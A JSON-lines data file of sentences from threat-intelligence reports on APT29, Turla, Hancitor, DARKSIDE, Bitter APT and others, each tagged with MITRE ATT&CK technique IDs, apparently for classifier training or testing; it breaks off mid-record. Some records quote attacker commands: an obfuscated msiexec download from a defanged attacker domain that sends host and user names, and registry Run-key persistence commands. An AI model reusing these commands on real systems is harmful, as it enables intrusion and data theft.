{"sentence": "Conclusion IronNetInjector is another toolset in Turla’s ever-growing arsenal, made of an IronPython script and an injector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "This general trend can be seen in recent years as detection of Powershell based threats became better, but also due to security mechanisms like AMSI introduced by Microsoft.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Palo Alto Networks customers are protected from this malware tool.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Our threat prevention platform WildFire detects it as malicious.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "This allowed them to install a persistent backdoor without leaving any artifacts on the system’s hard drive, outside of the WMI repository.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Figure 2 displays the command, called the “CommandLineTemplate”, executed by the WindowsParentalControlsMigration consumer.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "The backdoor contains several notable capabilities, including: 1.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions 6.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types: ICO GIF JPG PNG MP3 BMP The sample in this example used 11 legitimate domains owned by an organization located near the victim.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "This is one of several sneaky backdoor families that we have identified, including an off-the-shelf domain fronting backdoor and HAMMERTOSS.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "When responding to an APT29 breach, it is vital to increase visibility, fully scope the incident before responding and thoroughly analyze accessed systems that don't contain known malware.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "This downloader was first seen in 2014 commonly deploying Pony and Vawtrak malware.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The first Hancitor malicious spam wave of 2021 started on 12 January, where the malware was distributed as email Word document attachments.", "labels": ["T1566.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 1 – Word document lure requesting the user to run the VBA macro.", "labels": ["T1204.002"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Analyzing the attachment using oledump shows that not only VBA macros but also an Object Linking and Embedding (OLE) object are embedded in the document.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 3 – VBA macro which moves the tmp file to the templates folder as a DLL.", "labels": ["T1036.005"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 7 – Structure of the encrypted section.", "labels": ["T1027", "T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Running Hancitor Malware As soon as the unpacked executable is running, the malware gathers information about the infected system.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The following disassembly shows calls to multiple functions used to collect the information.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Figure 9 – x86 disassembly of Hancitor’s information gathering function.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "Thread Execution Hijacking The final execution method Hancitor supports is Thread Execution Hijacking.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "The only difference is that the malware replaces the thread context with the downloaded executable and resumes it afterwards.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"} {"sentence": "While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "DARKSIDE RaaS In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The post cited law enforcement pressure and pressure from the United States for this decision.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The former is a clean installer from the original developer and is launched first, installing the software as the user may expect.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.", "labels": ["T1090"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests.", "labels": ["T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The ID field contains a unique value generated by the backdoor for the target system.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.", "labels": ["T1140", "T1573.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.", "labels": ["T1041", "T1056.001", "T1071.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The following commands were used to collect information about the system and logged in users.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "These files were saved to the %APPDATA%\\Chrome\\ directory.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Figure 8: Contents of UltraVNC.ini SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "reg.exe add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v ConhostNT /d", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "%appdata%\\Chrome\\winvnc.exe NGROK Configuration SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "reg.exe add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindNT /d", "labels": ["T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Update.exe was a Go based dropper created using the ScareCrow framework.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "The execution of ScareCrow framework dropper C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\\ProgramData\\Cisco\\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.", "labels": ["T1003.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Conclusion UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Host: max-ghoster1.azureedge[.]net (actual C2) MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html) Host: atlant20.azureedge[.]net (actual C2) MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "MSIL.SMOKEDHAM Malware.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "A (METHODOLOGY) Malware Protection (AV/MG) Trojan.GenericFCA.Script.533 Trojan.GenericFCA.Agent.7732 Dropped:Trojan.VBS.VGU Trojan.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "PowerShell T1059.005:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Query Registry T1033: System Owner/User Discovery T1082: System Information Discovery Collection T1056.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Domain Fronting T1102: Web Service T1105:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"} {"sentence": "Chinese MSS-affiliated cyber threat actors use readily available exploits and exploit toolkits to quickly engage target networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These information sources have legitimate uses for network defense.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Together, these data sources provide users with the understanding of a specific vulnerability, as well as a list of systems that may be vulnerable to attempted exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Technical Weakness Identification CISA analysts consistently observe targeting, scanning, and probing of significant vulnerabilities within days of their emergence and disclosure.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA recently released an alert that highlighted the top 10 vulnerabilities routinely exploited by sophisticated foreign cyber threat actors from 2016 to 2019.[6] Additionally, table 2 provides a list of notable compromises by Chinese MSS-affiliated actors within the past 12 months.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This is a vulnerability in F5’s Big-IP Traffic Management User Interface that allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code.[7] CVE-2019-19781:", "labels": ["T1059.003", "T1070.004"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Appliances CISA has observed the threat actors attempting to discover vulnerable Citrix VPN Appliances.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These observations also provide evidence that threat actors can build and maintain relatively low-complexity capabilities, such as C2, to enable cyber operations against Federal Government networks (Build Capabilities [TA0024]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the build capabilities summarized in table 4. Table 4: Build capabilities observed by CISA MITRE ID Name Observation T1352 C2 Protocol Development CISA observed beaconing from a Federal Government entity to the threat actors’ C2 server.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1328 Buy Domain Name CISA has observed the use of domains purchased by the threat actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "MITRE ATT&CK Framework for Analysis CISA has observed sophisticated cyber threat actors, including Chinese MSS-affiliated actors, using commercial and open-source tools to conduct their operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Cobalt Strike is a commercial penetration testing tool used to conduct red team operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA observed connections from a Federal Government agency to multiple IP addresses possibly hosting Cobalt Strike team servers.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "China Chopper Web Shell CISA has observed the actors successfully deploying China Chopper against organizations’ networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This open-source tool can be downloaded from internet software repositories such GitHub and Exploit-DB.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "China Chopper is a web shell hosted on a web server.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1190 Exploit Public-Facing Application CISA has observed the actors leveraging CVE-2019-19781 to compromise Citrix Application Delivery Controllers.", "labels": ["T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the Execution [TA0002] technique identified in table 7. Table 7: Execution technique observed by CISA MITRE ID Name Observation T1072 Software Deployment Tools CISA observed activity from a Federal Government IP address beaconing out to the threat actors’ C2 server, which is usually an indication of compromise.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Figure 1: Attack flow described in this research Social Engineering with Phishing Emails The emails contain a number of social engineering techniques.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "A free email provider is used, therefore domain reputation checks will not be useful.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "This is presumably also how the malicious actor was able to get information in order to craft the lure.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Figure 3: Email body lure with nuclear themes Malicious Payloads via CHM and Microsoft Excel Files Multiple payloads have been observed being delivered.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "%AppData%\\dwmcor.exe", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2.", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart\" /ft", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Figure 6: Encoded PowerShell command in version 2 of the CHM files", "labels": ["T1027", "T1140"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "WinSecurity /sc minute /mo 15 /tr", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username.", "labels": ["T1041", "T1082"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"} {"sentence": "This report includes information gathered using the Recorded Future Platform, dark web sources, and open-source intelligence techniques (OSINT).Executive SummaryWe identified several government entities in Latin America (LATAM) that have been affected by ransomware attacks, likely involving Russian or Russian-speaking threat actors, beginning on or around April 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "We have also observed several high-profile database leaks related to entities in LATAM on low-tier and mid-tier English-speaking forums such as BreachForums, with data dumps spiking in April 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "These observations and trends could represent a paradigm shift in the ransomware and broader cybercriminal community related to unwritten rules and internal group policies on the targeting of government entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "If unaddressed, ransomware attacks on local, provincial, or federal government entities in LATAM could constitute a credible national and geopolitical security risk.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "The targeting of LATAM government entities could represent an initial shift away from internal cybercriminal policies on the targeting of governments worldwide.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "This is the most likely avenue by which such threat actors gained access to compromised LATAM government networks.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "The risk of negative publicity and stigmatization on dark web and special-access forums, mainstream media attention, and international law enforcement activity increases dramatically once targets in these industries are attacked.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "It is possible that the targeting of LATAM entities by presumably Russian or Russian-speaking ransomware gangs could mark the beginning of a paradigm shift in which targets that were previously internally sanctioned by the group could now become viable targets for ransomware operations.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "This is a noteworthy event, as the Mayors Office of Municipality of Quito and State Attorney Generals Office confirmed that the initial attack caused the suspension of several critical government services, which caused an inconvenience to users who have not been able to carry out procedures.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Neither of these incidents were widely reported in either Mexican or Brazilian media.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "The most effective investment would be to give residents in LATAM and the Caribbean in-person or remote access to IT security-oriented schools and training institutions.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Network segmentation can halt the propagation of ransomware through an organizations network.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "Threat actors will look for networks that have internet-facing servers running RDP and then exploit vulnerabilities in those servers or use brute force password attacks.", "labels": ["T1110", "T1190"], "doc_title": "Latin American Governments Targeted By Ransomware"} {"sentence": "[12] Targeted Attack Lifecycle The Targeted Attack Lifecycle is a methodology to map adversary tactics, techniques, and procedures (TTPs) in a structed way.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "After enumerating subdomains of the associated victim network, the threat actor uses automated vulnerability scanning tools including Nuclei and Afrog to identify potentially exploitable systems.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[13]• CVE-2021-3129 Laravel debug mode RCE", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[15]• CVE-2021-44228 Apache Log4j", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[16] Figure 5 – BASH history logs of from the threat actor’s system showing exploitation of CVE-2020-2551.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Only registered users of t00ls[.]com could obtain the decryption key for the ZIP folder and access the tool.", "labels": ["T1140"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Notable features of Cobalt Strike Cat include: 1.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "3. Modified stager designed to evade signature-based detection during malware execution.4.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "According to log data, a reverse shell was established from the remote victim device as SYSTEM-level privileges using a process named \"bea.exe\".", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "The database used a weak password and was susceptible to brute-force attacks.", "labels": ["T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "EclecticIQ researchers observed that the threat actor used the Windows command-line arguments to perform general reconnaissance against infected devices.", "labels": ["T1059.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "The actor deployed various credential stealing techniques against compromised hosts to obtain user account passwords in NTLM hash format and saved credentials from web browser.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "The Cobalt Strike Cat beacon logs (Figure 12) show that the actor uploaded LaZagne onto the infected device for credential harvesting purposes and deleted the LaZagne binary after execution to avoid detection from the user's side.", "labels": ["T1070.004"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Move Laterally", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Threat actor uploaded the fast reverse proxy (FRP) binary to the \"C:\\Windows\\Temp\" file path and then executed it on victim machine.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Logs obtained from attacker infrastructure, such as target lists and metadata show that organizations in Taiwan account for the largest proportion of targets.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "According to event logs, on 02/09 at 08:51:43 UTC, EclecticIQ researchers have concluded with high confidence that the actor compromised an IOT device in the network of the Directorate General of Highways, MOTC in Taiwan", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 16 – Reconnaissance against Malaysian and Egyptian government entities.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Analysts identified the following findings supporting the assessment: The modified version of Cobalt Strike event logs obtained from the threat actor infrastructure revealed additional IP addresses that very likely belong to the attacker and metadata that very likely show the origin of the attacker.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "The timezone of attacker virtual sandbox 103[.]156[.]184[.]83 is in the UTC+08:00 timezone.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "EclecticIQ researchers observed that the threat actor used private proxy addresses from a Chinese underground proxy IP solution called 'Tigercloud Club' to conceal their real IP address.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Cobalt Strike Cat event logs: Figure 17 – Event logs from Cobalt Strike Cat showing details about victim and threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Monitor network traffic regularly to detect unusual activities or traffic patterns that may indicate C&C connections.• Deploy firewalls:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "This user right allows non-administrative users to create global objects, including services.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Indicators Command and Control server – Exposed web server: • 156[.]251[.]172[.]194Threat Actor IPs based on Cobalt Strike Cat event logs (very likely proxy address): •", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Please send us your feedback by emailing us at research@eclecticiq.com.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[Online].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[3] “cIPR/cmd/cIPR at main · canc3s/cIPR,” GitHub.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[11] fatedier, “frp.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[13] “NVD - CVE-2023-21839.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2021-44228 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[19] “Directorate General of Highways, MOTC.” https://www.thb.gov.tw/en/ (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Gh0st", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "With Chinese universities (including more than one in Nanjing) being heavily involved in training talent for the Chinese defense industry, it is also plausible that students or other threat actors that are at times associated with APT groups may be carrying out independent threat activity using tools they are familiar with.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "The 